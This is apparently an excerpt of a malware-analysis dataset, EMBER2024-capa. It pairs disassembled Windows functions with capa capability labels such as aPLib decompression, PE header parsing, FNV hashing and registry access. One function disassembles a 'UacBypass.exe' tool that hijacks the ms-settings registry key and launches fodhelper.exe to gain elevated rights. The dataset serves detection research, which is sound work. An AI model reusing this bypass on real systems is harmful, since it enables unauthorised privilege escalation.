joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140949058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.1409491df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x140949089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x14094906f
add dl, dl
jne 0x140949096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409490f6
xor eax, eax
add dl, dl
jne 0x1409490a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x1409491ad
add dl, dl
jne 0x1409490b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409490c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409490d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x1409490dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x1409490ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x14094907e
mov eax, 1
add dl, dl
jne 0x140949106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x140949113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x1409490fb
sub eax, ebx
mov ebx, 1
jne 0x14094914c
mov ecx, 1
add dl, dl
jne 0x14094912e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x14094913b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x140949123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14094907e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x140949168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x140949175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x14094915d
cmp eax, 0x7d00
jae 0x14094919b
cmp eax, 0x500
jb 0x140949196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14094907e
cmp eax, 0x7f
ja 0x14094919e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x14094907e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x1409491d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x14094907e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14001acc0
Capabilities:
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push r15
sub rsp, 0xb0
xor r14d, r14d
mov dword [rsp + 0x20], r14d
lea rcx, [rax - 0x78]
call qword [sym.imp.api_ms_win_core_processthreads_l1_1_0.dll_GetStartupInfoW]
nop
mov rax, qword gs:[0x30]
mov rbx, qword [rax + 8]
mov esi, r14d
xor eax, eax
lock cmpxchg qword [0x140032738], rbx
je 0x14001ad27
cmp rax, rbx
jne 0x14001ad1a
mov ebx, 1
mov esi, ebx
jmp 0x14001ad2c
mov ecx, 0x3e8
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_Sleep]
jmp 0x14001acff
mov ebx, 1
mov eax, dword [0x140032740]
cmp eax, ebx
jne 0x14001ad44
mov edi, 0x1f
mov ecx, edi
call sub.msvcrt.dll__amsg_exit
jmp 0x14001adb0
mov eax, dword [0x140032740]
test eax, eax
jne 0x14001ada5
mov dword [0x140032740], ebx
lea r15, [0x1400206d8]
lea rdi, [0x1400206c0]
mov qword [rsp + 0x30], rdi
mov eax, r14d
mov dword [rsp + 0x24], eax
cmp rdi, r15
jae 0x14001ad97
test eax, eax
jne 0x14001ad9b
cmp qword [rdi], r14
je 0x14001ad8c
mov rax, qword [rdi]
mov rcx, qword [0x140020620]
call rcx
mov dword [rsp + 0x24], eax
add rdi, 8
mov qword [rsp + 0x30], rdi
jmp 0x14001ad6e
test eax, eax
je 0x14001adab
mov eax, 0xff
jmp 0x14001af06
mov dword [0x140031ff0], ebx
mov edi, 0x1f
mov eax, dword [0x140032740]
cmp eax, ebx
jne 0x14001add7
lea rdx, [0x1400206b8]
lea rcx, [0x140020628]
call sub.msvcrt.dll__initterm
mov dword [0x140032740], 2
test esi, esi
jne 0x14001ade5
mov rax, r14
xchg qword [0x140032738], rax
cmp qword [0x140032758], r14
je 0x14001ae18
lea rcx, [0x140032758]
call fcn.14001b3b0
test eax, eax
je 0x14001ae18
xor r8d, r8d
lea edx, [r8 + 2]
xor ecx, ecx
mov rax, qword [0x140032758]
mov r9, qword [0x140020620]
call r9
mov rax, qword [sym.imp.msvcrt.dll__wcmdln]
mov rcx, qword [rax]
test rcx, rcx
jne 0x14001ae31
mov eax, 0xff
jmp 0x14001af06
mov qword [rsp + 0x28], rcx
mov edx, dword [rsp + 0x20]
movzx eax, word [rcx]
cmp ax, 0x20
ja 0x14001aeb7
test ax, ax
je 0x14001ae4c
test edx, edx
jne 0x14001aeb7
sub ax, bx
cmp ax, di
ja 0x14001ae62
add rcx, 2
mov qword [rsp + 0x28], rcx
movzx eax, word [rcx]
jmp 0x14001ae4c
test byte [rsp + 0x7c], bl
movzx eax, word [rsp + 0x80]
mov r9d, 0xa
cmovne r9d, eax
mov r8, rcx
xor edx, edx
lea rcx, [0x140000000]
call fcn.140004034
mov dword [0x140031fec], eax
cmp dword [0x140032010], r14d
jne 0x14001aea0
mov ecx, eax
call qword [sym.imp.msvcrt.dll_exit]
cmp dword [0x140031ff0], r14d
jne 0x14001aeb5
call qword [sym.imp.msvcrt.dll__cexit]
mov eax, dword [0x140031fec]
jmp 0x14001af06
cmp ax, 0x22
jne 0x14001aecb
mov eax, r14d
test edx, edx
sete al
mov edx, eax
mov dword [rsp + 0x20], eax
add rcx, 2
mov qword [rsp + 0x28], rcx
jmp 0x14001ae3a
lea r11, [rsp + 0xb0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop r15
ret
sub rsp, 0x28
call 0x140185000
add rsp, 0x28
jmp 0x14001acc0
Function at 0x140001070
Capabilities:
Create process on windows
Persist via default file association registry key
Self delete
Set registry value

Disassembly:
sub rsp, 0xe8
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0xd8], rax
cmp ecx, 2
je 0x1400010b7
lea rcx, str.Usage:_UacBypass.exe__file.exe_or_command__n
call fcn.140001010
mov eax, 1
mov rcx, qword [rsp + 0xd8]
xor rcx, rsp
call fcn.140001300
add rsp, 0xe8
ret
lea rax, [rsp + 0xd0]
mov qword [rsp + 0xe0], rbx
mov rbx, qword [rdx + 8]
xor r9d, r9d
mov qword [rsp + 0x40], rax
lea rdx, str.SoftwareClassesms_settingsShellOpencommand
lea rax, [rsp + 0x50]
xor r8d, r8d
mov qword [rsp + 0x38], rax
mov rcx, 0xffffffff80000001
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x20006
mov dword [rsp + 0x20], 0
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyExW]
test eax, eax
je 0x140001127
lea rcx, str.Failed_to_open_or_create_reg_key_n
call fcn.140001010
mov eax, 1
jmp 0x1400012cf
lea rcx, str.Reg_key:_OK._n
call fcn.140001010
mov rax, 0xffffffffffffffff
nop word [rax + rax]
cmp word [rbx + rax*2 + 2], 0
lea rax, [rax + 1]
jne 0x140001140
mov rcx, qword [rsp + 0x50]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov r9d, 1
mov qword [rsp + 0x20], rbx
xor r8d, r8d
lea rbx, [0x14001e640]
mov rdx, rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x14000119f
lea rcx, str.Failed_to_set_reg_value_n
call fcn.140001010
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x1400012cf
lea rcx, str.Reg_value:_OK._n
call fcn.140001010
mov rcx, qword [rsp + 0x50]
lea rdx, str.DelegateExecute
mov r9d, 1
mov dword [rsp + 0x28], 2
xor r8d, r8d
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
test eax, eax
je 0x1400011f8
lea rcx, str.Failed_to_set_DelegateExecute_value_n
call fcn.140001010
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov eax, 1
jmp 0x1400012cf
lea rcx, str.Reg_value:_DelegateExecute_OK._n
call fcn.140001010
mov rcx, qword [rsp + 0x50]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
xorps xmm0, xmm0
mov dword [rsp + 0x60], 0x70
xor eax, eax
lea rcx, [rsp + 0x60]
mov qword [rsp + 0xc4], rax
mov dword [rsp + 0xcc], eax
lea rax, str.runas
movups xmmword [rsp + 0x64], xmm0
mov qword [rsp + 0x68], 0
movups xmmword [rsp + 0x74], xmm0
mov qword [rsp + 0x70], rax
lea rax, str.C:WindowsSystem32_fodhelper.exe
movups xmmword [rsp + 0x84], xmm0
mov qword [rsp + 0x78], rax
movups xmmword [rsp + 0x94], xmm0
mov dword [rsp + 0x90], 1
movups xmmword [rsp + 0xa4], xmm0
movups xmmword [rsp + 0xb4], xmm0
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
test eax, eax
jne 0x1400012c1
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x4c7
jne 0x1400012b1
lea rcx, str.The_user_refused_to_allow_privileges_elevation._n
jmp 0x1400012c8
mov edx, eax
lea rcx, str.Unexpected_error__Error_code:__ld_n
call fcn.140001010
jmp 0x1400012cd
lea rcx, str.Execution_successful._n
call fcn.140001010
xor eax, eax
mov rbx, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0xd8]
xor rcx, rsp
call fcn.140001300
add rsp, 0xe8
ret
Function at 0x140001bc0
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001c0a
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001c0a
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001c0a
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001c0a
cmp dword [rcx + 0x84], 0xe
jbe 0x140001c0a
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001c0c
xor al, al
add rsp, 0x28
ret

Function at 0x140007c10
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x140007c7f
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140007c7f
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140007c7f
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140007c7f
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140007c7f
cmp dword [rcx + 0x84], 0xe
jbe 0x140007c7f
cmp dword [rcx + 0xf8], 0
je 0x140007c7f
mov ecx, ebx
call fcn.140007d24
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140007b18
nop
cmp dword [rbp + 0x20], 0
jne 0x140007ce0
call fcn.14000d464
cmp eax, 1
jne 0x140007cd0
xor dl, dl
jmp 0x140007cda
call fcn.14000d430
test al, al
sete dl
cmp dword [rbp + 0x20], 0
je 0x140007ceb
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140007cf4
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x140007c10

Function at 0x140007df8
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x140007c10
Function at 0x14000ce80
Capabilities:
Query environment variable

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x20
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
xor ebp, ebp
mov rbx, rax
test rax, rax
je 0x14000cf07
mov rsi, rbx
cmp word [rax], bp
je 0x14000cec6
or rax, 0xffffffffffffffff
inc rax
cmp word [rsi + rax*2], bp
jne 0x14000ceb0
lea rsi, [rsi + rax*2]
add rsi, 2
cmp word [rsi], bp
jne 0x14000ceac
sub rsi, rbx
add rsi, 2
sar rsi, 1
add rsi, rsi
mov rcx, rsi
call fcn.1400098b0
mov rdi, rax
test rax, rax
je 0x14000cef4
mov r8, rsi
mov rdx, rbx
mov rcx, rax
call fcn.140014540
mov rbp, rdi
xor ecx, ecx
call fcn.140008c40
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
mov rax, rbp
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
add rsp, 0x20
pop rdi
ret
Function at 0x140011288
Capabilities:
Get file size

Disassembly:
push rbx
sub rsp, 0x20
mov edx, dword [rcx + 0x14]
nop
shr edx, 3
test dl, 1
je 0x14001129e
mov al, 1
jmp 0x14001130a
mov eax, dword [rcx + 0x14]
nop
test al, 0xc0
je 0x1400112af
mov rax, qword [rcx + 8]
cmp qword [rcx], rax
je 0x140011308
mov ecx, dword [rcx + 0x18]
nop
call fcn.14000d740
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140011308
and qword [rsp + 0x38], 0
lea r8, [rsp + 0x38]
mov r9d, 1
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointerEx]
test eax, eax
je 0x140011308
and qword [rsp + 0x30], 0
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
je 0x140011308
mov rax, qword [rsp + 0x30]
cmp qword [rsp + 0x38], rax
sete al
jmp 0x14001130a
xor al, al
add rsp, 0x20
pop rbx
ret

Function at 0x140013d20
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140013d48
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140013d48
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret
Function at 0x180003b98
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x30
cmp qword [r8 + 0x18], 0xf
mov rbx, rdx
mov rdi, rcx
mov r10, r8
jbe 0x180003bb5
mov r10, qword [r8]
xor edx, edx
movabs r9, 0xcbf29ce484222325
cmp qword [r8 + 0x10], rdx
jbe 0x180003be6
movzx eax, byte [r10 + rdx]
movabs rcx, 0x100000001b3
xor r9, rax
inc rdx
imul r9, rcx
cmp rdx, qword [r8 + 0x10]
jb 0x180003bc7
lea rdx, [rsp + 0x20]
mov rcx, rdi
call fcn.180003af0
mov rcx, qword [rax + 8]
test rcx, rcx
jne 0x180003c00
mov rcx, qword [rdi + 8]
mov qword [rbx], rcx
mov rax, rbx
mov rbx, qword [rsp + 0x40]
add rsp, 0x30
pop rdi
ret

Function at 0x180003c14
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
sub rsp, 0x58
mov rax, qword [0x180036040]
xor rax, rsp
mov qword [rsp + 0x48], rax
lea rax, [r11 - 0x18]
mov dword [rsp + 0x40], 4
mov qword [r11 - 0x28], rax
mov qword [r11 - 0x30], r9
mov r9d, 0x10
and qword [r11 - 0x38], 0
call qword [sym.imp.ADVAPI32.dll_RegGetValueW]
mov ecx, eax
movzx eax, ax
or eax, 0x80070000
test ecx, ecx
cmovle eax, ecx
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.180023360
add rsp, 0x58
ret
Function at 0x180005e9c
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push rbp
push rdi
push r14
mov rbp, rsp
sub rsp, 0x50
mov rax, qword [0x180036040]
xor rax, rsp
mov qword [rbp - 8], rax
mov r9, rdx
mov r14, rcx
mov qword [rbp - 0x28], rcx
mov qword [rbp - 0x10], rdx
xor esi, esi
mov dword [rbp - 0x18], esi
movabs rcx, 0xcbf29ce484222325
xor r8d, r8d
movzx eax, byte [rbp + r8 - 0x10]
xor rcx, rax
movabs rdx, 0x100000001b3
imul rcx, rdx
inc r8
cmp r8, 8
jb 0x180005edf
mov rdx, qword [0x180039850]
and rdx, rcx
add rdx, rdx
mov rcx, qword [0x180039838]
mov rbx, qword [rcx + rdx*8 + 8]
mov rax, qword [0x180039828]
cmp rbx, rax
je 0x180005f3b
mov rcx, qword [rcx + rdx*8]
jmp 0x180005f33
cmp rbx, rcx
je 0x180005f3b
mov rbx, qword [rbx + 8]
cmp r9, qword [rbx + 0x10]
jne 0x180005f2a
jmp 0x180005f3d
xor ebx, ebx
test rbx, rbx
jne 0x180005f45
mov rbx, rax
cmp rbx, rax
jne 0x180005fc9
mov esi, 0xa8
mov ecx, esi
call fcn.1800118ec
mov rdi, rax
mov qword [rbp - 0x28], rax
test rax, rax
je 0x180005f78
mov r8d, esi
xor edx, edx
mov rcx, rax
call sub.ucrtbase.dll_memset
mov rcx, rdi
call fcn.180006060
nop
mov qword [rbp - 0x30], rax
mov esi, 0x10
lea r9, [rbp - 0x30]
lea r8, [rbp - 0x10]
lea rdx, [rbp - 0x28]
call fcn.180006608
nop
cmp qword [rbp - 0x30], 0
je 0x180005fa3
lea rcx, [rbp - 0x30]
call fcn.180001e50
cmp byte [rbp - 0x20], 1
cmove rbx, qword [rbp - 0x28]
mov rax, qword [0x180039828]
cmp rbx, rax
jne 0x180005fc9
xor edi, edi
mov qword [rbp - 0x28], rdi
lea rax, [rbp - 0x10]
or esi, 3
xor ebx, ebx
jmp 0x180005feb
mov rbx, qword [rbx + 0x18]
mov qword [rbp - 0x30], rbx
test rbx, rbx
je 0x180005fe0
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rax, [rbp - 0x30]
or esi, 4
mov rdi, qword [rbp - 0x28]
and qword [rax], 0
mov qword [r14], rbx
or esi, 8
test sil, 4
je 0x18000600e
and esi, 0xfffffffb
cmp qword [rbp - 0x30], 0
je 0x18000600e
lea rcx, [rbp - 0x30]
call fcn.180001e50
test sil, 2
je 0x180006027
and esi, 0xfffffffd
cmp qword [rbp - 0x10], 0
je 0x180006027
lea rcx, [rbp - 0x10]
call fcn.180001e50
test sil, 1
je 0x18000603b
test rdi, rdi
je 0x18000603b
lea rcx, [rbp - 0x28]
call fcn.180001e50
mov rax, r14
mov rcx, qword [rbp - 8]
xor rcx, rsp
call fcn.180023360
lea r11, [rsp + 0x50]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop rdi
pop rbp
ret
Function at 0x180006450
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x40
mov rsi, r8
mov r15, rdx
mov r13, rcx
cmp rdx, r8
je 0x180006530
mov rax, qword [rcx + 8]
mov rbx, rdx
mov rbp, qword [rcx + 0x18]
movabs rdi, 0xcbf29ce484222325
mov r14, qword [rdx + 8]
xor ecx, ecx
mov qword [rsp + 0x20], rax
movabs rdx, 0x100000001b3
movzx eax, byte [r15 + rcx + 0x10]
inc rcx
xor rdi, rax
imul rdi, rdx
cmp rcx, 8
jb 0x1800064a8
and rdi, qword [r13 + 0x30]
add rdi, rdi
mov rax, qword [rbp + rdi*8 + 8]
mov r12, qword [rbp + rdi*8]
mov qword [rsp + 0x28], rax
mov rax, rbx
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x38], rbx
mov rbx, qword [rbx]
lea rcx, [rax + 0x18]
cmp qword [rcx], 0
je 0x1800064f8
call fcn.180001e50
mov rax, qword [rsp + 0x38]
mov rcx, qword [0x180039be8]
mov r8, rax
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
mov rax, qword [rsp + 0x28]
dec qword [r13 + 0x10]
cmp qword [rsp + 0x30], rax
je 0x180006551
cmp rbx, rsi
jne 0x1800064d4
cmp r12, r15
jne 0x180006529
mov qword [rbp + rdi*8], rbx
mov qword [r14], rbx
mov qword [rbx + 8], r14
lea r11, [rsp + 0x40]
mov rax, rsi
mov rbx, qword [r11 + 0x38]
mov rbp, qword [r11 + 0x40]
mov rsi, qword [r11 + 0x48]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rdi
ret
cmp r12, r15
jne 0x180006565
mov r12, qword [rsp + 0x20]
mov qword [rbp + rdi*8], r12
mov rax, r12
jmp 0x180006568
mov rax, r14
mov qword [rbp + rdi*8 + 8], rax
jmp 0x1800065f9
movabs rdi, 0xcbf29ce484222325
xor ecx, ecx
movabs r12, 0x100000001b3
movzx eax, byte [rbx + rcx + 0x10]
inc rcx
xor rdi, rax
imul rdi, r12
cmp rcx, 8
jb 0x180006588
and rdi, qword [r13 + 0x30]
mov r12, qword [rsp + 0x20]
add rdi, rdi
mov rax, qword [rbp + rdi*8 + 8]
mov qword [rsp + 0x30], rax
mov r15, rbx
mov rbx, qword [rbx]
lea rcx, [r15 + 0x18]
cmp qword [rcx], 0
je 0x1800065c8
call fcn.180001e50
mov rcx, qword [0x180039be8]
mov r8, r15
xor edx, edx
call qword [sym.imp.KERNEL32.dll_HeapFree]
dec qword [r13 + 0x10]
cmp r15, qword [rsp + 0x30]
je 0x1800065ef
cmp rbx, rsi
jne 0x1800065b3
jmp 0x180006524
mov qword [rbp + rdi*8], r12
mov qword [rbp + rdi*8 + 8], r12
cmp rbx, rsi
jne 0x180006572
jmp 0x180006529
Function at 0x180006608
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
sub rsp, 0x30
mov r13, r9
mov r12, r8
mov r14, rdx
xor ecx, ecx
movabs r15, 0xcbf29ce484222325
movzx eax, byte [r8 + rcx]
xor r15, rax
movabs rdx, 0x100000001b3
imul r15, rdx
inc rcx
cmp rcx, 8
jb 0x180006631
mov rax, qword [0x180039850]
and rax, r15
add rax, rax
mov rcx, qword [0x180039838]
mov rbx, qword [rcx + rax*8 + 8]
mov rbp, qword [0x180039828]
cmp rbx, rbp
jne 0x1800066e7
mov rbx, rbp
mov rsi, rbp
movabs rax, 0x7ffffffffffffff
cmp qword [0x180039830], rax
je 0x18000685b
lea rax, [0x180039828]
mov qword [rsp + 0x20], rax
and qword [rsp + 0x28], 0
mov ecx, 0x20
call fcn.1800118ec
mov rdi, rax
mov qword [rsp + 0x28], rax
mov rcx, qword [r12]
mov qword [rax + 0x10], rcx
mov rcx, qword [r13]
xor r12d, r12d
mov qword [r13], r12
mov qword [rax + 0x18], rcx
mov r8, qword [0x180039830]
lea rcx, [r8 + 1]
xorps xmm0, xmm0
test rcx, rcx
js 0x18000672b
cvtsi2ss xmm0, rcx
jmp 0x180006740
mov rdx, qword [rcx + rax*8]
mov rax, qword [r8]
jmp 0x1800066f9
cmp rbx, rdx
je 0x180006721
mov rbx, qword [rbx + 8]
cmp rax, qword [rbx + 0x10]
jne 0x1800066f0
mov rbp, qword [rbx]
mov rsi, rbp
mov rax, rbx
mov rbx, rbp
test rax, rax
je 0x18000667b
mov qword [r14], rax
mov byte [r14 + 8], 0
jmp 0x180006843
mov rbp, rbx
xor eax, eax
mov rsi, rbx
jmp 0x18000670b
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2ss xmm0, rax
addss xmm0, xmm0
mov rcx, qword [0x180039858]
xorps xmm1, xmm1
test rcx, rcx
js 0x180006756
cvtsi2ss xmm1, rcx
jmp 0x18000676b
mov rax, rcx
shr rax, 1
and ecx, 1
or rax, rcx
cvtsi2ss xmm1, rax
addss xmm1, xmm1
divss xmm0, xmm1
comiss xmm0, dword [0x180039820]
seta al
test al, al
je 0x1800067da
call fcn.1800068a8
mov rcx, qword [0x180039850]
and rcx, r15
add rcx, rcx
mov rdx, qword [0x180039838]
mov rax, qword [rdx + rcx*8 + 8]
mov rbx, qword [0x180039828]
cmp rax, rbx
je 0x1800067c6
mov r8, qword [rdx + rcx*8]
mov rcx, qword [rdi + 0x10]
jmp 0x1800067bd
mov rbx, rax
cmp rax, r8
je 0x18000681d
mov rax, qword [rax + 8]
cmp rcx, qword [rax + 0x10]
jne 0x1800067b1
mov rbx, qword [rax]
mov qword [rsp + 0x20], rbx
mov rsi, rbx
mov rbp, qword [rsp + 0x20]
mov r8, qword [0x180039830]
mov rdx, qword [rbx + 8]
inc r8
mov qword [0x180039830], r8
mov qword [rdi], rbp
mov qword [rdi + 8], rdx
mov qword [rdx], rdi
mov qword [rbx + 8], rdi
mov rcx, qword [0x180039838]
mov rax, qword [0x180039850]
and rax, r15
add rax, rax
mov r8, qword [rcx + rax*8]
cmp r8, qword [0x180039828]
jne 0x180006824
mov qword [rcx + rax*8], rdi
jmp 0x180006836
mov qword [rsp + 0x20], rax
jmp 0x1800067cb
cmp r8, rsi
jne 0x18000682f
mov qword [rcx + rax*8], rdi
jmp 0x18000683b
cmp qword [rcx + rax*8 + 8], rdx
jne 0x18000683b
mov qword [rcx + rax*8 + 8], rdi
mov qword [r14], rdi
mov byte [r14 + 8], 1
mov rax, r14
mov rbx, qword [rsp + 0x70]
add rsp, 0x30
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
lea rcx, str.unordered_map_set_too_long
call fcn.1800231f4
int3
Function at 0x1800068a8
Capabilities:
Encode data using xor
Hash data using fnv

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rcx, qword [0x180039830]
xorps xmm0, xmm0
add rcx, 1
mov rbx, qword [0x180039858]
js 0x1800068d0
cvtsi2ss xmm0, rcx
jmp 0x1800068e5
mov rax, rcx
and ecx, 1
shr rax, 1
or rax, rcx
cvtsi2ss xmm0, rax
addss xmm0, xmm0
divss xmm0, dword [0x180039820]
call sub.ucrtbase.dll_ceilf
movss xmm1, dword [0x18002c7f8]
xor ecx, ecx
comiss xmm0, xmm1
jb 0x180006917
subss xmm0, xmm1
comiss xmm0, xmm1
jae 0x180006917
movabs rax, 0x8000000000000000
mov rcx, rax
cvttss2si rax, xmm0
add rax, rcx
mov ecx, 8
cmp rax, rcx
cmova rcx, rax
cmp rbx, rcx
jae 0x180006945
cmp rbx, 0x200
jae 0x180006942
shl rbx, 3
cmp rbx, rcx
jae 0x180006945
mov rbx, rcx
movabs rax, 0xfffffffffffffff
bsr rcx, rax
mov eax, 1
shl rax, cl
cmp rbx, rax
ja 0x180006abe
lea rax, [rbx - 1]
mov edi, 1
mov rbx, qword [0x180039828]
or rax, 1
bsr rcx, rax
mov r8, rbx
inc ecx
shl rdi, cl
lea rcx, [0x180039838]
lea rdx, [rdi + rdi]
call fcn.1800039ac
mov rax, qword [0x180039828]
lea r9, [rdi - 1]
mov qword [0x180039850], r9
mov qword [0x180039858], rdi
mov rax, qword [rax]
mov rcx, rax
cmp rax, rbx
je 0x180006ab3
mov rcx, qword [rcx]
movabs r11, 0xcbf29ce484222325
xor r8d, r8d
movzx edx, byte [r8 + rax + 0x10]
movabs r10, 0x100000001b3
xor r11, rdx
inc r8
imul r11, r10
cmp r8, 8
jb 0x1800069cc
mov rdi, qword [0x180039838]
and r11, r9
add r11, r11
cmp qword [rdi + r11*8], rbx
jne 0x180006a0a
mov qword [rdi + r11*8], rax
mov qword [rdi + r11*8 + 8], rax
jmp 0x180006a79
mov r10, qword [rdi + r11*8 + 8]
mov rdx, qword [rax + 0x10]
cmp rdx, qword [r10 + 0x10]
jne 0x180006a4e
mov r10, qword [r10]
cmp r10, rax
je 0x180006a03
mov r9, qword [rax + 8]
mov qword [r9], rcx
mov r8, qword [rcx + 8]
mov qword [r8], r10
mov rdx, qword [r10 + 8]
mov qword [rdx], rax
mov qword [r10 + 8], r8
mov qword [rcx + 8], r9
mov qword [rax + 8], rdx
jmp 0x180006a03
mov r10, qword [r10 + 8]
cmp rdx, qword [r10 + 0x10]
je 0x180006a8d
